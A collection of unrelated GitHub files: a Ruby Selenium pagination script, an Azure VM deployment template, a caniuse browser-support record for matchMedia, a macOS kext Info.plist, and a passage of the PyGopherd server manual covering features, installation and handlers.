Selenium::WebDriver.for :chrome file_path = 'file:///' + File.expand_path(File.join('.', 'pagination.html')) dr.get file_path # 获得所有分页的数量 # -2是因为要去掉上一个和下一个 total_pages = dr.find_element(:class, 'pagination').find_elements(:tag_name, 'li').size - 2 puts "total page is #{total_pages}" # 获取当前页面的url以及当前页面是第几页 current_page = dr.find_element(:class, 'pagination').find_element(:class, 'active') puts "current page is #{current_page.text}" dr.quit() ```
{ "pile_set_name": "Github" }
{ "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vmName": { "type": "string", "metadata": { "description": "Name of the VM" } }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "Type of OS on the existing vhd" } }, "osDiskVhdUri": { "type": "string", "metadata": { "description": "URI of the existing VHD in ARM standard or premium storage" } }, "vmSize": { "type": "string", "defaultValue": "Standard_A1_v2", "metadata": { "description": "Size of the VM" } }, "vmDiskSizeGB": { "type": "string", "defaultValue": "150", "allowedValues": [ "150", "300" ], "metadata": { "description": "Diskspace size of the VM" } }, "existingVirtualNetworkResourceGroup":{ "type":"string", "defaultValue":"[resourceGroup().name]", "metadata":{ "description":"Name of the existing VNET resource group" } }, "existingVirtualNetworkName": { "type": "string", "metadata": { "description": "Name of the existing VNET" } }, "subnetName": { "type": "string", "metadata": { "description": "Name of the subnet in the virtual network you want to use" } }, "existingSecurityGroupName": { "type": "string", "metadata": { "description": "Name of the network Security Group that needs to be assocated to virtual NIC. " } }, "dnsNameForPublicIP": { "type": "string", "metadata": { "description": "Unique DNS Name for the Public IP used to access the Virtual Machine." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "diagStorageAccountName": "[concat(uniquestring(resourceGroup().id), 'specvm')]", "publicIPAddressType": "Dynamic", "subnetRef": "[resourceId(parameters('existingVirtualNetworkResourceGroup'), 'Microsoft.Network/virtualNetworks/subnets', parameters('existingVirtualNetworkName'), parameters('subnetName'))]", "nicName": "[parameters('vmName')]", "publicIPAddressName": "[parameters('vmName')]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "name": "[variables('diagStorageAccountName')]", "apiVersion": "2018-02-01", "location": "[parameters('location')]", "sku": { "name": "Standard_GRS" }, "kind": "Storage", "properties": {} }, { "apiVersion": "2015-06-15", "type": "Microsoft.Network/publicIPAddresses", "name": "[variables('publicIPAddressName')]", "location": "[parameters('location')]", "tags": { "displayName": "PublicIPAddress" }, "properties": { "publicIPAllocationMethod": "[variables('publicIPAddressType')]", "dnsSettings": { "domainNameLabel": "[parameters('dnsNameForPublicIP')]" } } }, { "apiVersion": "2017-03-01", "type": "Microsoft.Network/networkInterfaces", "name": "[variables('nicName')]", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]" ], "tags": { "displayName": "NetworkInterface" }, "properties": { "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('existingSecurityGroupName'))]" }, "ipConfigurations": [ { "name": "ipconfig1", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]" }, "subnet": { "id": "[variables('subnetRef')]" } } } ] } }, { "type":"Microsoft.Compute/disks", "apiVersion":"2017-03-30", "name":"[concat(parameters('vmName'), '_OSdisk')]", "location":"[parameters('location')]", "properties":{ "creationData":{ "createOption":"Import", "sourceUri":"[parameters('osDiskVhdUri')]" }, "osType":"[parameters('osType')]" } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/virtualMachines", "name": "[parameters('vmName')]", "location": "[parameters('location')]", "tags": { "displayName": "VirtualMachine" }, "dependsOn": [ "[concat('Microsoft.Network/networkInterfaces/', variables('nicName'))]", "[concat(parameters('vmName'), '_OSdisk')]" ], "properties": { "hardwareProfile": { "vmSize": "[parameters('vmSize')]" }, "storageProfile": { "osDisk": { "osType": "[parameters('osType')]", "caching": "ReadWrite", "managedDisk":{ "id":"[resourceId('Microsoft.Compute/disks', concat(parameters('vmName'), '_OSdisk'))]" }, "createOption": "Attach", "diskSizeGB": "[parameters('vmDiskSizeGB')]" } }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces',variables('nicName'))]" } ] }, "diagnosticsProfile": { "bootDiagnostics": { "enabled": true , "storageUri": "[concat(reference(concat('Microsoft.Storage/storageAccounts/', variables('diagStorageAccountName')), '2016-01-01').primaryEndpoints.blob)]" } } } } ] }
{ "pile_set_name": "Github" }
{ "title":"matchMedia", "description":"API for finding out whether or not a media query applies to the document.", "spec":"https://www.w3.org/TR/cssom-view/#dom-window-matchmedia", "status":"wd", "links":[ { "url":"https://github.com/paulirish/matchMedia.js/", "title":"matchMedia.js polyfill" }, { "url":"https://developer.mozilla.org/en/DOM/window.matchMedia", "title":"MDN Web Docs - matchMedia" }, { "url":"https://developer.mozilla.org/en/CSS/Using_media_queries_from_code", "title":"MDN Web Docs - Using matchMedia" }, { "url":"https://www.webplatform.org/docs/css/media_queries/apis/matchMedia", "title":"WebPlatform Docs" } ], "bugs":[ { "description":"MediaQueryList.addEventListener [doesn't work in Safari and IE](https://developer.mozilla.org/en-US/docs/Web/API/MediaQueryList#Browser_compatibility)" } ], "categories":[ "DOM", "JS API" ], "stats":{ "ie":{ "5.5":"n", "6":"n", "7":"n", "8":"n", "9":"n", "10":"y", "11":"y" }, "edge":{ "12":"y", "13":"y", "14":"y", "15":"y", "16":"y", "17":"y", "18":"y", "79":"y", "80":"y", "81":"y", "83":"y", "84":"y", "85":"y" }, "firefox":{ "2":"n", "3":"n", "3.5":"n", "3.6":"n", "4":"n", "5":"n", "6":"y", "7":"y", "8":"y", "9":"y", "10":"y", "11":"y", "12":"y", "13":"y", "14":"y", "15":"y", "16":"y", "17":"y", "18":"y", "19":"y", "20":"y", "21":"y", "22":"y", "23":"y", "24":"y", "25":"y", "26":"y", "27":"y", "28":"y", "29":"y", "30":"y", "31":"y", "32":"y", "33":"y", "34":"y", "35":"y", "36":"y", "37":"y", "38":"y", "39":"y", "40":"y", "41":"y", "42":"y", "43":"y", "44":"y", "45":"y", "46":"y", "47":"y", "48":"y", "49":"y", "50":"y", "51":"y", "52":"y", "53":"y", "54":"y", "55":"y", "56":"y", "57":"y", "58":"y", "59":"y", "60":"y", "61":"y", "62":"y", "63":"y", "64":"y", "65":"y", "66":"y", "67":"y", "68":"y", "69":"y", "70":"y", "71":"y", "72":"y", "73":"y", "74":"y", "75":"y", "76":"y", "77":"y", "78":"y", "79":"y", "80":"y", "81":"y", "82":"y" }, "chrome":{ "4":"n", "5":"n", "6":"n", "7":"n", "8":"n", "9":"y", "10":"y", "11":"y", "12":"y", "13":"y", "14":"y", "15":"y", "16":"y", "17":"y", "18":"y", "19":"y", "20":"y", "21":"y", "22":"y", "23":"y", "24":"y", "25":"y", "26":"y", "27":"y", "28":"y", "29":"y", "30":"y", "31":"y", "32":"y", "33":"y", "34":"y", "35":"y", "36":"y", "37":"y", "38":"y", "39":"y", "40":"y", "41":"y", "42":"y", "43":"y", "44":"y", "45":"y", "46":"y", "47":"y", "48":"y", "49":"y", "50":"y", "51":"y", "52":"y", "53":"y", "54":"y", "55":"y", "56":"y", "57":"y", "58":"y", "59":"y", "60":"y", "61":"y", "62":"y", "63":"y", "64":"y", "65":"y", "66":"y", "67":"y", "68":"y", "69":"y", "70":"y", "71":"y", "72":"y", "73":"y", "74":"y", "75":"y", "76":"y", "77":"y", "78":"y", "79":"y", "80":"y", "81":"y", "83":"y", "84":"y", "85":"y", "86":"y", "87":"y", "88":"y" }, "safari":{ "3.1":"n", "3.2":"n", "4":"n", "5":"n", "5.1":"y", "6":"y", "6.1":"y", "7":"y", "7.1":"y", "8":"y", "9":"y", "9.1":"y", "10":"y", "10.1":"y", "11":"y", "11.1":"y", "12":"y", "12.1":"y", "13":"y", "13.1":"y", "14":"y", "TP":"y" }, "opera":{ "9":"n", "9.5-9.6":"n", "10.0-10.1":"n", "10.5":"n", "10.6":"n", "11":"n", "11.1":"n", "11.5":"n", "11.6":"n", "12":"n", "12.1":"y", "15":"y", "16":"y", "17":"y", "18":"y", "19":"y", "20":"y", "21":"y", "22":"y", "23":"y", "24":"y", "25":"y", "26":"y", "27":"y", "28":"y", "29":"y", "30":"y", "31":"y", "32":"y", "33":"y", "34":"y", "35":"y", "36":"y", "37":"y", "38":"y", "39":"y", "40":"y", "41":"y", "42":"y", "43":"y", "44":"y", "45":"y", "46":"y", "47":"y", "48":"y", "49":"y", "50":"y", "51":"y", "52":"y", "53":"y", "54":"y", "55":"y", "56":"y", "57":"y", "58":"y", "60":"y", "62":"y", "63":"y", "64":"y", "65":"y", "66":"y", "67":"y", "68":"y", "69":"y", "70":"y" }, "ios_saf":{ "3.2":"n", "4.0-4.1":"n", "4.2-4.3":"n", "5.0-5.1":"y", "6.0-6.1":"y", "7.0-7.1":"y", "8":"y", "8.1-8.4":"y", "9.0-9.2":"y", "9.3":"y", "10.0-10.2":"y", "10.3":"y", "11.0-11.2":"y", "11.3-11.4":"y", "12.0-12.1":"y", "12.2-12.4":"y", "13.0-13.1":"y", "13.2":"y", "13.3":"y", "13.4-13.7":"y", "14.0":"y" }, "op_mini":{ "all":"y" }, "android":{ "2.1":"n", "2.2":"n", "2.3":"n", "3":"y", "4":"y", "4.1":"y", "4.2-4.3":"y", "4.4":"y", "4.4.3-4.4.4":"y", "81":"y" }, "bb":{ "7":"n", "10":"y" }, "op_mob":{ "10":"n", "11":"n", "11.1":"n", "11.5":"n", "12":"n", "12.1":"y", "59":"y" }, "and_chr":{ "85":"y" }, "and_ff":{ "79":"y" }, "ie_mob":{ "10":"y", "11":"y" }, "and_uc":{ "12.12":"y" }, "samsung":{ "4":"y", "5.0-5.4":"y", "6.2-6.4":"y", "7.2-7.4":"y", "8.2":"y", "9.2":"y", "10.1":"y", "11.1-11.2":"y", "12.0":"y" }, "and_qq":{ "10.4":"y" }, "baidu":{ "7.12":"y" }, "kaios":{ "2.5":"y" } }, "notes":"", "notes_by_num":{ }, "usage_perc_y":98.4, "usage_perc_a":0, "ucprefix":false, "parent":"", "keywords":"mediaquerylist", "ie_id":"matchmedia", "chrome_id":"4677872220372992", "firefox_id":"", "webkit_id":"", "shown":true }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>AppleSecurityExtension</key> <true/> <key>BuildMachineOSBuild</key> <string>16G29</string> <key>CFBundleDevelopmentRegion</key> <string>en</string> <key>CFBundleExecutable</key> <string>LiluFriend</string> <key>CFBundleGetInfoString</key> <string>LiluFriend v1.1.0, Copyright © 2017 Vanilla. All rights reserved.</string> <key>CFBundleIdentifier</key> <string>com.apple.security.LiluFriend</string> <key>CFBundleInfoDictionaryVersion</key> <string>6.0</string> <key>CFBundleName</key> <string>LiluFriend</string> <key>CFBundlePackageType</key> <string>KEXT</string> <key>CFBundleShortVersionString</key> <string>1.1.0</string> <key>CFBundleSignature</key> <string>????</string> <key>CFBundleSupportedPlatforms</key> <array> <string>MacOSX</string> </array> <key>CFBundleVersion</key> <string>1.1.0</string> <key>DTCompiler</key> <string>com.apple.compilers.llvm.clang.1_0</string> <key>DTPlatformBuild</key> <string>8E3004b</string> <key>DTPlatformVersion</key> <string>GM</string> <key>DTSDKBuild</key> <string>16E185</string> <key>DTSDKName</key> <string>macosx10.12</string> <key>DTXcode</key> <string>0833</string> <key>DTXcodeBuild</key> <string>8E3004b</string> <key>IOKitPersonalities</key> <dict> <key>LiluFriend</key> <dict> <key>CFBundleIdentifier</key> <string>com.apple.security.LiluFriend</string> <key>IOClass</key> <string>LiluFriend</string> <key>IOMatchCategory</key> <string>LiluFriend</string> <key>IOProviderClass</key> <string>IOResources</string> <key>IOResourceMatch</key> <string>IOKit</string> </dict> </dict> <key>NSHumanReadableCopyright</key> <string>Copyright © 2017 Vanilla. All rights reserved.</string> <key>OSBundleLibraries</key> <dict> <key>as.lvs1974.AirportBrcmFixup</key> <string>1.0</string> <key>as.lvs1974.BT4LEContiunityFixup</key> <string>1.0</string> <key>as.lvs1974.HibernationFixup</key> <string>1.0</string> <key>as.lvs1974.IntelGraphicsFixup</key> <string>1.0</string> <key>as.lvs1974.NvidiaGraphicsFixup</key> <string>1.0</string> <key>as.vit9696.AppleALC</key> <string>1.0</string> <key>as.vit9696.Lilu</key> <string>1.2.0</string> <key>as.vit9696.Shiki</key> <string>1.0</string> <key>com.apple.kpi.bsd</key> <string>12.0.0</string> <key>com.apple.kpi.iokit</key> <string>12.0.0</string> <key>com.apple.kpi.libkern</key> <string>12.0.0</string> <key>com.apple.kpi.mach</key> <string>12.0.0</string> <key>com.apple.kpi.unsupported</key> <string>12.0.0</string> <key>com.sherlocks.IntelGraphicsDVMTFixup</key> <string>1.0</string> <key>org.vanilla.driver.CoreDisplayFixup</key> <string>1.0</string> </dict> <key>OSBundleRequired</key> <string>Root</string> </dict> </plist>
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <HTML ><HEAD ><TITLE >PyGopherd Manual</TITLE ><META NAME="GENERATOR" CONTENT="Modular DocBook HTML Stylesheet Version 1.7"><STYLE TYPE="text/css" >.synopsis, .classsynopsis { background: #eeeeee; border: solid 1px #aaaaaa; padding: 0.5em; } .programlisting { background: #eeeeff; border: solid 1px #aaaaff; padding: 0.5em; } .variablelist { padding: 4px; margin-left: 3em; } .navigation { background: #ffeeee; border: solid 1px #ffaaaa; margin-top: 0.5em; margin-bottom: 0.5em; } .navigation a { color: #770000; } .navigation a:visited { color: #550000; } .navigation .title { font-size: 200%; }</STYLE ></HEAD ><BODY CLASS="REFERENCE" BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#0000FF" VLINK="#840084" ALINK="#0000FF" ><DIV CLASS="REFERENCE" ><A NAME="PYGOPHERD" ></A ><DIV CLASS="TITLEPAGE" ><H1 CLASS="TITLE" >I. PyGopherd Manual</H1 ><DIV CLASS="TOC" ><DL ><DT ><B >Table of Contents</B ></DT ><DT ><A HREF="pygopherd.html#AEN3" >pygopherd</A >&nbsp;--&nbsp;Multiprotocol Information Server</DT ></DL ></DIV ></DIV ><H1 ><A NAME="AEN3" ></A >pygopherd</H1 ><DIV CLASS="REFNAMEDIV" ><A NAME="AEN15" ></A ><H2 >Name</H2 >PyGopherd&nbsp;--&nbsp;Multiprotocol Information Server</DIV ><DIV CLASS="REFSYNOPSISDIV" ><A NAME="AEN18" ></A ><H2 >Synopsis</H2 ><P ><B CLASS="COMMAND" >pygopherd</B > [<VAR CLASS="REPLACEABLE" >configfile</VAR >]</P ></DIV ><DIV CLASS="REFSECT1" ><A NAME="DESCRIPTION" ></A ><H2 >Description</H2 ><P > Welcome to <SPAN CLASS="APPLICATION" >PyGopherd</SPAN >. In a nutshell, <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > is a modern dynamic multi-protocol hierarchical information server with a pluggable modularized extension system, full flexible caching, virtual files and folders, and autodetection of file types -- all with support for standardized yet extensible per-document metadata. Whew! Read on for information on this what all these buzzwords mean. </P ><DIV CLASS="REFSECT2" ><A NAME="DESCRIPTION.FEATURES" ></A ><H3 >Features</H3 ><P > Here are some of <SPAN CLASS="APPLICATION" >PyGopherd</SPAN >'s features: </P ><P ></P ><UL ><LI ><P >Provides built-in support for multiple protocols: HTTP (Web), Gopher+, Gopher (RFC1436), Enhanced Gopher0, and WAP (mobile phones). Protocols can be enabled or disabled as desired. </P ></LI ><LI ><P >Provides protocol autodetection. That is, <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > can listen for all the above protocols <SPAN CLASS="emphasis" ><I CLASS="EMPHASIS" >on a single port</I ></SPAN > and will automatically respond using the protocol it detects the client is using. Practical effects of this are that you can, for instance, give out a single URL and have it viewable normally on desktop Web browsers and in WAP mode on mobile phones -- and appropriately in various Gopher browsers. </P ></LI ><LI ><P >Metadata and site links can be entered in a variety of formats, including full UMN dotfile metadata formats as well as Bucktooth gophermap files. Moreover, gophermap files are not limited to Gopher protocols, and can be used for all protocols. </P ></LI ><LI ><P >Support for inter-protocol linking (linking from Gopher sites to web sites)</P ></LI ><LI ><P >Virtual folder system lets you serve up anything as if it were regular files and directories. PyGopherd comes with the following virtual folder systems built in:</P ><P ></P ><UL ><LI ><P >Can present any Unix MBOX, MMDF box, MH directory, Maildir directory, or Babyl mailbox as a virtual folder, the contents of which are the messages in the mailbox. </P ></LI ><LI ><P >Can use a configurable separator to split a file into multiple parts, the first line of each becoming the name for the virtual folder.</P ></LI ><LI ><P >Can peek inside a ZIP file and serve it up as first-class site citizens -- metadata can even be stored in the ZIP files. </P ></LI ><LI ><P >Can serve up the contents of a dictd server as a filesystem. </P ></LI ></UL ></LI ><LI ><P > Modular, extensible design: you can use PyGopherd's own PYG extension format, or UMN- or Bucktooth-style executables. </P ></LI ><LI ><P > Runs on any platform supported by Python 2.2 or 2.3. This includes virtually every past and current flavor of Unix (Linux, *BSD, Solaris, SunOS), Windows, MacOS 9.x and X, and more. Some features may not be available on non-Unix platforms. </P ></LI ><LI ><P >Runs on any platform supported by Java 1.1 via the Jython Python implementation.</P ></LI ><LI ><P >Tunable server types via configuration directive -- forking or threading.</P ></LI ><LI ><P >Secure design with support for chrooted execution.</P ></LI ><LI ><P >Feature-complete, full implementations of: Gopher0 (RFC1435), Gopher+, HTTP, and WAP.</P ></LI ><LI ><P >Support for automatically finding the titles of HTML documents for presentation in a directory.</P ></LI ><LI ><P >Versatile configuration file format is both extensible and nicely complementary of the module system.</P ></LI ><LI ><P >Protocol-independant, handler-dependant caching. This increases performance by letting handlers cache dynamically-generated information -- currently used by the directory handlers. This can improve performance of directories by several orders of magnitude. Because this is a handler cache only, all protococls share the single cache. Since the processing time for the protocols is negligable, this works out very well.</P ></LI ><LI ><P >Autosensing of MIME types and gopher0 item types. Both are completely configurable. MIME type detection is done using a standard mime.types file, and gopher0 types are calculated by using a configurable regexp-based MIME-to-gophertype map.</P ></LI ><LI ><P >Heavy support of regular expressions in configuration.</P ></LI ><LI ><P >ProtocolMultiplexer and HandlerMultiplexer let you choose only those protocols and handlers that you wish your server to support and the order in which they are tried when a request comes in. </P ></LI ><LI ><P >Full logging via syslog.</P ></LI ></UL ></DIV ><HR><DIV CLASS="REFSECT2" ><A NAME="DESCRIPTION.ABOUTGOPHER" ></A ><H3 >About Gopher</H3 ><P > <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > started life as a server for the Gopher Internet protocol. With Gopher, you can mount a filesystem (viewing files and folders as if they were local), browse Gopherspace with a web browser, download files, and be interactive with searching. </P ><P > But this is only part of the story. The world of Gopher is more expansive than this. There are two major gopher protocols: Gopher0 (also known as RFC1436) and Gopher+. Gopher0 is a small, simple, lightweight protocol that is very functional yet also extremely easy to implement. Gopher0 clients can be easily places in small embedded devices or in massive environments like a modern web browser. </P ><P > Gopher+ is based on Gopher0 but extends it by providing document metadata such as file size and MIME type. Gopher+ allows all sorts of neat features, such as configurable metadata (serving up a bunch of photos? Add a Subject field to your metadata to let a customized photo browser display who is pictured) and multiple views of a file (let the user select to view your photos as PNG or JPEG). </P ></DIV ></DIV ><DIV CLASS="REFSECT1" ><A NAME="QUICKSTART" ></A ><H2 >Quick Start</H2 ><P > If you have already installed <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > system-wide, or your administrator has done that for you, your task for setting up <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > for the first time is quite simple. You just need to set up your configuration file, make your folder directory, and run it! </P ><P > You can quickly set up your configuration file. The distribution includes two files of interest: <TT CLASS="FILENAME" >conf/pygopherd.conf</TT > and <TT CLASS="FILENAME" >conf/mime.types</TT >. Debian users will find the configuration file pre-installed in <TT CLASS="FILENAME" >/etc/pygopherd/pygopherd.conf</TT > and the <TT CLASS="FILENAME" >mime.types</TT > file provided by the system already. </P ><P > Open up <TT CLASS="FILENAME" >pygopherd.conf</TT > in your editor and adjust to suit. The file is heavily commented and you can refer to it for detailed information. Some settings to take a look at include: <SPAN CLASS="PROPERTY" >detach</SPAN >, <SPAN CLASS="PROPERTY" >pidfile</SPAN >, <SPAN CLASS="PROPERTY" >port</SPAN >, <SPAN CLASS="PROPERTY" >usechroot</SPAN >, <SPAN CLASS="PROPERTY" >setuid</SPAN >, <SPAN CLASS="PROPERTY" >setgid</SPAN >, and <SPAN CLASS="PROPERTY" >root</SPAN >. These may or may not work at their defaults for you. The remaining ones should be fine for a basic setup. </P ><P > Invoke <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > with <B CLASS="COMMAND" >pygopherd path/to/configfile</B > (or <B CLASS="COMMAND" >/etc/init.d/pygopherd start</B > on Debian). Place some files in the location specified by the <SPAN CLASS="PROPERTY" >root</SPAN > directive in the config file and you're ready to run! </P ></DIV ><DIV CLASS="REFSECT1" ><A NAME="INSTALLATION" ></A ><H2 >Installation</H2 ><P > If you are reading this document via the "man" command, it is likely that you have no installation tasks to perform; your system administra- tor has already installed <SPAN CLASS="APPLICATION" >PyGopherd</SPAN >. If you need to install it yourself, you have three options: a system-wide installation with Debian, system-wide installation with other systems, and a single-user installation. You can download the latest version of PyGopherd from <A HREF="http://quux.org/devel/gopher/pygopherd/" TARGET="_top" >http://quux.org/devel/gopher/pygopherd/</A > </P ><DIV CLASS="REFSECT2" ><A NAME="INSTALLATION.DEBIAN" ></A ><H3 >Debian System-Wide Installation</H3 ><P > If you are tracking Debian unstable, you may install <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > by simply running this command as root: </P ><P > <B CLASS="COMMAND" >apt-get install pygopherd</B > </P ><P > If you are not tracking Debian unstable, download the .deb package from the <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > website and then run <B CLASS="COMMAND" >dpkg -i</B > to install the downloaded package. Then, skip to the configuration section below. You will use <B CLASS="COMMAND" >/etc/init.d/pygopherd start</B > to start the program. </P ></DIV ><HR><DIV CLASS="REFSECT2" ><A NAME="INSTALLATION.OTHER" ></A ><H3 >Other System-Wide Installation</H3 ><P > Download the tar.gz version of the package from the website. Make sure you have Python 2.2 or above installed; if now, download and install it from <A HREF="http://www.python.org/" TARGET="_top" >http://www.python.org/</A >. Then run these commands: </P ><PRE CLASS="PROGRAMLISTING" > <B CLASS="COMMAND" >tar -zxvf pygopherd-x.y.z.tar.gz</B > <B CLASS="COMMAND" >cd pygopherd-x.y.z</B > <B CLASS="COMMAND" >python2.2 setup.py</B > </PRE ><P > Some systems will use <B CLASS="COMMAND" >python</B > or <B CLASS="COMMAND" >python2.3</B > in place of <B CLASS="COMMAND" >python2.2</B >. </P ><P > Next, proceed to configuration. Make sure that the <TT CLASS="FILENAME" >/etc/pygopherd/pygopherd.conf</TT > file names valid users (<SPAN CLASS="PROPERTY" >setuid</SPAN > and <SPAN CLASS="PROPERTY" >setgid</SPAN > options) and a valid document root (<SPAN CLASS="PROPERTY" >root</SPAN > option). </P ><P > You will type <TT CLASS="FILENAME" >pygopherd</TT > to invoke the program. </P ></DIV ><HR><DIV CLASS="REFSECT2" ><A NAME="INSTALLATION.SINGLE" ></A ><H3 >Single-Account Installation</H3 ><P > Download the tar.gz version of the package from the website. Make sure you have Python 2.2 or above installed; if now, download and install it from <A HREF="http://www.python.org/" TARGET="_top" >http://www.python.org/</A >. Then run these commands: </P ><PRE CLASS="PROGRAMLISTING" > <B CLASS="COMMAND" >tar -zxvf pygopherd-z.y.z.tar.gz</B > <B CLASS="COMMAND" >cd pygopherd-x.y.z</B > </PRE ><P > Modify <TT CLASS="FILENAME" >conf/pygopherd.conf</TT > as follows: </P ><P ></P ><UL ><LI ><P >Set <SPAN CLASS="PROPERTY" >usechroot = no</SPAN ></P ></LI ><LI ><P >Comment out (add a # sign to the start of the line) the <SPAN CLASS="PROPERTY" >pidfile</SPAN >, <SPAN CLASS="PROPERTY" >setuid</SPAN >, and <SPAN CLASS="PROPERTY" >setgid</SPAN > lines.</P ></LI ><LI ><P >Set <SPAN CLASS="PROPERTY" >root</SPAN > to osomething appropriate.</P ></LI ><LI ><P >Set <SPAN CLASS="PROPERTY" >port</SPAN > to a number greater than 1024.</P ></LI ></UL ><P > When you want to run <SPAN CLASS="APPLICATION" >PyGopherd</SPAN >, you will issue the <B CLASS="COMMAND" >cd</B > command as above and then type <B CLASS="COMMAND" >PYTHONPATH=. bin/pygopherd</B >. There is no installation step necessary. </P ></DIV ></DIV ><DIV CLASS="REFSECT1" ><A NAME="CONFIGURATION" ></A ><H2 >Configuration</H2 ><P > <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > is regulated by a configuratoin file normally stored in <TT CLASS="FILENAME" >/etc/pygopherd/pygopherd.conf</TT >. You can specify an alternate configuration file on the command line. The <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > distribution ships with a sample <TT CLASS="FILENAME" >pygopherd.conf</TT > file that thoroughly documents the configuration file options and settings. </P ></DIV ><DIV CLASS="REFSECT1" ><A NAME="OPTIONS" ></A ><H2 >Options</H2 ><P > All <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > configuratoin is done via the configuration file. Therefore, the program has only one command-line option: </P ><P ></P ><TABLE CLASS="variablelist" BORDER="0" CELLSPACING="0" CELLPADDING="4" ><TBODY ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN184"><SPAN STYLE="white-space: nowrap" ><VAR CLASS="REPLACEABLE" >configfile</VAR ></SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >This option argument specifies the location of the configuration file that <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > is to use.</P ></TD ></TR ></TBODY ></TABLE ></DIV ><DIV CLASS="REFSECT1" ><A NAME="HANDLERS" ></A ><H2 >Handlers</H2 ><P > <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > defines several handlers which are responsible for finding data on your server and presenting it to the user. The handlers are used to generate things like links to other documents and directory listings. They are also responsible for serving up regular files and even virtual folders. </P ><P > Handlers are specified with the <SPAN CLASS="PROPERTY" >handlers</SPAN > option in <TT CLASS="FILENAME" >pygopherd.conf</TT >. This option is a list of handlers to use. For each request that arrives, <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > will ask each handler in turn whether or not it can handle the request, and will handle the request according to the first handler that is capable of doing so. If no handlers can handle the request, a file not found error is generated. See the example configuration file for an example. </P ><P > The remaining parts of this section describe the different handlers that ship with <SPAN CLASS="APPLICATION" >PyGopherd</SPAN >. Please note that some versions of this manual may show the handlers in all caps; however, their names are not all caps and are case-sensitive. </P ><DIV CLASS="REFSECT2" ><A NAME="HANDLERS.DIRHANDLER" ></A ><H3 >dir.DirHandler</H3 ><P > This handler is a basic one that generates menus based on the contents of a directory. It is used for directories that contain neither a <TT CLASS="FILENAME" >gophermap</TT > file nor UMN-style links files, or situations where you have no need for either of those. </P ><P > This handler simply reads the contents of your on-disk directory, determines the appropriate types of each file, and sends the result to the client. The descriptions of each item are usually set to the filename, but the <SPAN CLASS="PROPERTY" >html.HTMLFileTitleHandler</SPAN > may override that. </P ></DIV ><HR><DIV CLASS="REFSECT2" ><A NAME="HANDLERS.BUCKGOPHERMAP" ></A ><H3 >gophermap.BuckGophermapHandler</H3 ><P > This handler is used to generate directory listings based on <TT CLASS="FILENAME" >gophermap</TT > files. It will not read the directory on-disk, instead serving content from the <TT CLASS="FILENAME" >gophermap</TT > file only. Gophermaps are useful if you want to present a directory in which the files do not frequently change and there is general information to present. Overall, if you only wish to present information particular to certain files, you should consider using the abstract feature of UMN.UMNDirHandler. </P ><P > The <TT CLASS="FILENAME" >gophermap</TT > files contain two types of lines, which are described here using the same convention normally used for command line arguments. In this section, the symbol \t will be used to indicate a tab character, Control-I. </P ><P > <VAR CLASS="REPLACEABLE" >full line of informational text</VAR > </P ><P > <VAR CLASS="REPLACEABLE" >gophertypeDESCRIPTION</VAR > [\t<VAR CLASS="REPLACEABLE" >selector</VAR > [\t<VAR CLASS="REPLACEABLE" >host</VAR > [\t<VAR CLASS="REPLACEABLE" >port</VAR >]]]</P ><P > Note: spaces shown above are for clarity only and should not actually be present in your file. </P ><P > The informational text must not contain any tab characters, but may contain spaces. Informational text will be rendered with gopher type <SPAN CLASS="PROPERTY" >i</SPAN >, which will cause it to be displayed on a client's screen at its particular position in the file. </P ><P > The second type of line represents a link to a file or directory. It begins with a single-character Gopher type (see Gopher Item Types below) followed immediately by a description and a tab character. There is no space or other separator between the gopher type and the description. The description may contain spaces but not tabs. </P ><P > The remaining arguments are optional, but only to the extent that arguments may be omitted only if all arguments after them are also omitted. These arguments are: </P ><P ></P ><TABLE CLASS="variablelist" BORDER="0" CELLSPACING="0" CELLPADDING="4" ><TBODY ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN231"><SPAN STYLE="white-space: nowrap" ><VAR CLASS="REPLACEABLE" >selector</VAR ></SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >The <SPAN CLASS="PROPERTY" >selector</SPAN > is the name of the file on the server. If it begins with a slash, it is an absolute path; otherwise, it is interpreted relative to the directory that the gophermap file is in. If no selector is specified, the description is also used as the selector. </P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN237"><SPAN STYLE="white-space: nowrap" ><VAR CLASS="REPLACEABLE" >host</VAR ></SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >The <SPAN CLASS="PROPERTY" >host</SPAN > specifies the host on 